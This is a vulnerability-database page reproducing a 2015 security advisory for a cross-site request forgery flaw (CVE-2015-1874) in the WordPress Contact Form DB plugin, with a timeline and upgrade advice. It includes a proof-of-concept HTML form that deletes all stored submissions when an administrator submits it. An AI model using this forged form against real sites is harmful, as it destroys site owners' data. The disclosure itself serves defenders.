| Reporter | Title | Published | Views | Family All 8 |
|---|---|---|---|---|
| WordPress plugin Contact Form DB cross-site request forgery vulnerability | 10 Mar 201500:00 | – | cnvd | |
| CVE-2015-1874 | 9 Mar 201516:00 | – | cve | |
| CVE-2015-1874 | 9 Mar 201516:00 | – | cvelist | |
| EUVD-2015-1980 | 7 Oct 202500:30 | – | euvd | |
| CVE-2015-1874 | 9 Mar 201516:59 | – | nvd | |
| WordPress Contact Form DB Plugin <= 2.8.31 - CSRF | 17 Feb 201500:00 | – | patchstack | |
| Cross site request forgery (csrf) | 9 Mar 201516:59 | – | prion | |
| Contact Form DB <= 2.8.29 - Cross-Site Request Forgery (CSRF) | 4 Mar 201500:00 | – | wpvulndb |
`Details
================
Software: Contact Form DB
Version: 2.8.29
Homepage: https://wordpress.org/plugins/contact-form-7-to-database-extension/
Advisory report: https://security.dxw.com/advisories/csrf-in-contact-form-db-allows-attacker-to-delete-all-stored-form-submissions/
CVE: CVE-2015-1874
CVSS: 4.3 (Medium; AV:N/AC:M/Au:N/C:N/I:P/A:N)
Description
================
CSRF in Contact Form DB allows attacker to delete all stored form submissions
Vulnerability
================
An attacker able to convince a logged in admin user to follow a link (for instance via spearphishing) will be able to cause all records stored by this plugin to be removed.
Proof of concept
================
If a logged-in administrator user clicks the submit button on this form, all records stored by the plugin will be deleted (in a real attack the form can be made to auto-submit using Javascript).
<form action=\"http://localhost/wp-admin/admin.php?page=CF7DBPluginSubmissions\" method=\"post\">
<input name=\"all\" type=\"text\" value=\"y\">
<input name=\"delete\" type=\"text\" value=\"y\">
<input type=\"submit\">
</form>
Mitigations
================
Upgrade to version 2.8.32 or later
Disclosure policy
================
dxw believes in responsible disclosure. Your attention is drawn to our disclosure policy: https://security.dxw.com/disclosure/
Please contact us on [email protected] to acknowledge this report if you received it via a third party (for example, [email protected]) as they generally cannot communicate with us on your behalf.
This vulnerability will be published if we do not receive a response to this report with 14 days.
Timeline
================
2015-02-05: Discovered
2015-02-17: Reported to vendor by email
2015-02-22: Vendor responded and agreed a schedule for fix
2015-02-23: Vendor published a fix in version 2.8.32
2015-03-04: Advisory published
Discovered by dxw:
================
Tom Adams
Please visit security.dxw.com for more information.
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation